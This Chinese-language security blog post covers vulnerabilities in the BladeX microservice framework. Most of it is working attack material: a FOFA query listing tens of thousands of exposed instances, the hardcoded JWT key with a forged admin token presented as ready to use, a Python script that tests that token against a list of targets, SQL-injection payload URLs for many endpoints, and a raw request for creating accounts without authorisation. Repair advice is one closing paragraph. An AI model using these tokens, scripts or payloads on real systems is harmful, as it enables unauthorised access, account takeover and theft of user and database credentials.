一、BladeX框架概述
BladeX是一款基于Spring Boot 2和Spring Cloud构建的微服务架构框架,其源自商业项目的优化升级,在企业级开发领域应用广泛。该框架集成了权限管理、动态API、多租户、任务调度等核心功能,技术栈融合了MyBatis、Spring Security等组件,前端采用Vue3 + Element-Plus技术组合,并且支持国产化环境适配,如国密算法SM2/SM3/SM4。
![图片[1]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略](https://www.dfyxsec.com/wp-content/uploads/2025/05/image-103.png)
(一)核心特性
- 模块化设计:支持插件式开发模式,能够快速生成企业级后台系统代码,提升开发效率。
- 安全合规:集成RBAC权限模型和日志审计功能,同时适配国产操作系统及数据库,保障系统安全与合规性。
- 多场景支持:兼容主流数据库,如MySQL、SQL Server,支持云原生部署,并内置工作流引擎,满足多样化业务场景需求。
(二)搜索语句
利用FOFA搜索引擎查找BladeX相关资产,搜索语句为:body=”https://bladex.vip/” || body=”Saber将不能正常工作” || title=”BladeX企业级开发平台” || icon_hash=”1047841028″。
![图片[2]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略](https://www.dfyxsec.com/wp-content/uploads/2025/05/image-104.png)
搜索结果显示,共有26,927条匹配结果(8,092条独立IP)。
二、漏洞情况
BladeX框架存在多种安全漏洞,包括JWT密钥硬编码漏洞、SQL注入漏洞、Spring Cloud Gateway命令执行漏洞(CVE – 2022 – 22947)、账号创建越权漏洞以及敏感信息泄露漏洞。这些漏洞严重威胁系统安全,可能导致敏感数据泄露、权限被滥用等安全问题。
三、漏洞详细介绍
(一)JWT密钥硬编码漏洞
1.原理:BladeX框架默认的JWT签名密钥固定为“bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject”。攻击者可利用这一固定密钥,通过工具伪造管理员Token,获取管理员权限。
![图片[3]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略](https://www.dfyxsec.com/wp-content/uploads/2025/05/image-105.png)
2.影响版本:若未修改默认密钥,全版本均受影响。
3.利用方法:借助工具(如jwt.io)构造Payload,在Payload中写入身份验证参数,设置“role_name”为“administrator”,并填入“user_id”“name”等参数(参数有值即可),随后进行签名,即可生成伪造的JWT Token。使用生成的Token访问特定接口,如“/blade – user/user – list”,可查询所有用户信息。
下列token可直接使用:
Blade-Auth: bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ-wJM9E_MJmfCuUCZ38
![图片[4]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略](https://www.dfyxsec.com/wp-content/uploads/2025/05/image-106.png)
4.利用脚本示例
import requests
proxies = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080",
}
def check_url(url):
headers = {
"Blade - Auth": "bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ - wJM9E_MJmfCuUCZ38"
}
try:
response = requests.get(url, headers=headers, timeout=10, verify=False, proxies=proxies)
return response.status_code == 200 and "success" in response.text
except requests.exceptions.RequestException:
return False
# 读取目标并处理URL
with open("targets.txt", "r") as f:
base_urls = [line.strip() for line in f]
success_urls = [ ] # 存储成功URL
results = [ ]
for base_url in base_urls:
#print(base_url)
formatted_url = base_url.rstrip("/") + "/blade - user/user - list"
if check_url(formatted_url):
success_urls.append(formatted_url) # 收集成功URL
results.append(f"{formatted_url}: 200访问成功")
else:
results.append(f"{formatted_url}: 访问失败")
# 将成功URL写入succ.txt
with open("succ.txt", "w", encoding="utf - 8") as f: # 指定UTF - 8编码
f.write("\n".join(success_urls)) # 每个URL独立一行
# 控制台输出完整结果
print("\n".join(results))
![图片[5]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略](https://www.dfyxsec.com/wp-content/uploads/2025/05/image-107.png)
(二)SQL注入漏洞
BladeX框架多个接口存在SQL注入漏洞,部分接口有权限限制,可结合JWT身份伪造漏洞利用。
- 存在漏洞的接口及POC
/api/blade - user/list
:POC为/api/blade - user/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
/api/blade - user/export - user
:POC为/api/blade - user/export - user?1 - updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1
、/api/blade - user/export - user?Blade - Auth=&account&realName&1 - updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1
/api/blade - log/error/list
:POC为/api/blade - log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
/api/blade - log/usual/list
:POC为/api/blade - log/usual/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
/api/blade - desk/notice/list
:POC为/api/blade - desk/notice/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
/api/blade - system/tenant/list
:POC为/api/blade - system/tenant/list?updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1
/api/blade - develop/code/list
:POC为/api/blade - develop/code/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
- 其他可能存在漏洞的接口:包括
/api/blade - resource/oss/list
、/api/blade - system/dict - biz/list
、/api/blade - system/menu/menu - list
、/api/blade - develop/datasource/list
等。
![图片[6]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略](https://www.dfyxsec.com/wp-content/uploads/2025/05/image-108.png)
(三)账号创建越权漏洞
基于JWT Token认证绕过漏洞获取角色id(roleId、deptId、postId)后,构造数据包向/api/blade - system/search/role
和/api/blade - user/submit
发送请求,可实现越权创建账号。
POST /api/blade - user/submit HTTP/1.1
Host:
Xweb_xhr: 1
Blade - Auth: bearer
Authorization: Basic c2FiZXI6c2FiZXJfZXo=
Content - Type: application/json
Accept: /
Sec - Fetch - Site: cross - site
Sec - Fetch - Mode: cors
Sec - Fetch - Dest: empty
Accept - Encoding: gzip, deflate
Accept - Language: zh - CN,zh;q = 0.9
Connection: close
Content - Length: 236
{"account":"test123","realName":"test123","userType":1,"tenantId":"000000","password":"test@123456","password2":"test@123456","name":"test123","roleId":"1123598816738675201","deptId":"1123598813738675201","postId":"1123598817738675201"}
(四)敏感信息泄露漏洞
多个接口存在敏感信息泄露风险:
/api/blade - user/user - list
、/api/blade - system/user/user - list
:可泄露用户账号密码。/api/blade - develop/datasource/list
:会泄露数据库连接信息。/api/blade - log/api/list
:泄露登录日志,其中包含登录用户名密码。/api/blade - resource/oss/list
:泄露oss配置信息。- 登录相关接口:通过抓登录包并替换相关参数,可实现任意用户登录。
修复建议
BladeX框架的这些漏洞对系统安全构成严重威胁,开发人员和系统管理员应及时采取措施进行修复,如修改默认JWT密钥、对输入进行严格过滤以防范SQL注入、加强接口权限控制等,保障系统安全稳定运行。
撰文:千里
感谢您的来访,获取更多精彩文章请收藏本站。

暂无评论内容